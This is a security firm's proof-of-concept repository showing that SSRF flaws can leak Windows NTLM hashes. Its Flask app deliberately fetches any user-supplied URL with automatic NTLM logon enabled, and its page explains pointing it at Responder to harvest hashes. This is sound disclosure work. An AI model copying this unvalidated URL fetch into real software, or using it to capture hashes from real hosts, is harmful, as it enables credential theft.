├── fisherman-for-blog.jpg ├── java-httpurlconnection.PNG ├── README.md ├── testntlm.java └── ssrf.py /fisherman-for-blog.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blazeinfosec/ssrf-ntlm/HEAD/fisherman-for-blog.jpg -------------------------------------------------------------------------------- /java-httpurlconnection.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blazeinfosec/ssrf-ntlm/HEAD/java-httpurlconnection.PNG -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ssrf-ntlm 2 | Proof of concept written in Python to show that in some situations a SSRF vulnerability can be used to steal NTLMv1/v2 hashes. 3 | 4 | Using Windows's WinHTTP.WinHTTPRequest native methods to demonstrate how Windows will give out hashes when asked to authenticate using NTLM. 5 | 6 | We published a blog post with details of how to exploit web application vulnerabilities to steal NTLM hashes: 7 | https://blog.blazeinfosec.com/leveraging-web-application-vulnerabilities-to-steal-ntlm-hashes-2/ 8 | 9 | 10 | ## Author 11 | 12 | * **Julio Cesar Fort** - julio at blazeinfosec dot com 13 | 14 | ## License 15 | 16 | This proof of concept is licensed under the Apache License. 17 | 18 | Copyright 2016-2017, Blaze Information Security 19 | https://www.blazeinfosec.com 20 | 21 | 22 | ## Kudos 23 | 24 | Thanks to the talented folks of [Hackerstrip](https://hackerstrip.exposure.co/) for the art used in our blog post. 25 | 26 |  27 | 28 | -------------------------------------------------------------------------------- /testntlm.java: -------------------------------------------------------------------------------- 1 | // based on https://stackoverflow.com/questions/10750723/suppress-ntlm-auth-in-java 2 | // to prove NTLM is indeed sent by default in Java's HttpURLConnection 3 | 4 | import java.net.*; 5 | import java.io.*; 6 | 7 | public class testntlm { 8 | 9 | public static void main(String[] args) { 10 | try { 11 | //TrustAllCerts.disableCertChecks(); 12 | FileReader fr = new FileReader(new File("urls.txt")); 13 | BufferedReader br = new BufferedReader(fr); 14 | 15 | String urlStr = br.readLine(); 16 | while (urlStr != null) { 17 | if (urlStr.trim().length() > 0) { 18 | URL url = new URL(urlStr); 19 | 20 | HttpURLConnection urlc = (HttpURLConnection) url.openConnection(); 21 | urlc.connect(); 22 | if (urlc.getResponseCode() == HttpURLConnection.HTTP_OK) { 23 | System.out.println(urlStr); 24 | 25 | } else { 26 | System.out.println("["+urlc.getResponseCode()+"] "+urlStr); 27 | } 28 | urlc.disconnect(); 29 | } 30 | urlStr = br.readLine(); 31 | } 32 | br.close(); 33 | 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /ssrf.py: -------------------------------------------------------------------------------- 1 | # Proof of concept of a SSRF vulnerability, written in Python 2 | # using Windows's WinHTTP.WinHTTPRequest native methods 3 | # to demonstrate how Windows will give out hashes when asked 4 | # to authenticate using NTLM. 5 | # 6 | # written by Julio Cesar Fort, Wildfire Labs /// Blaze Information Security 7 | # 8 | # Copyright 2016-2017, Blaze Information Security 9 | # https://www.blazeinfosec.com 10 | 11 | from flask import Flask, Response, request 12 | import win32com.client 13 | 14 | app = Flask(__name__) 15 | 16 | @app.route('/', methods=['GET']) 17 | def index(): 18 | error_msg = '''
Proof of concept of SSRF using Windows native HTTP request COM object.
20 |Navigate to http://%s/?url=http://ip to exploit the SSRF.
21 |This is a PoC to demonstrate that when HTTP requests using Windows HTTP native API are sent to Responder, NTLM hashes can be harvested.
22 |Copyright 2016-2017, Blaze Information Security - https://www.blazeinfosec.com
24 | ''' % request.host 25 | 26 | if request.method == 'GET': 27 | if request.args.get('url'): 28 | try: 29 | URL = request.args.get('url') 30 | COM_OBJ = win32com.client.Dispatch('WinHTTP.WinHTTPRequest.5.1') 31 | COM_OBJ.SetAutoLogonPolicy(0) 32 | COM_OBJ.Open('GET', URL, False) 33 | COM_OBJ.Send() 34 | return COM_OBJ.ResponseText 35 | except Exception, err: 36 | return "Error: %s
" % str(err) 37 | else: 38 | return error_msg 39 | else: 40 | return "Method not supported." 41 | 42 | if __name__ == '__main__': 43 | app.run(host='127.0.0.1', port=8000) --------------------------------------------------------------------------------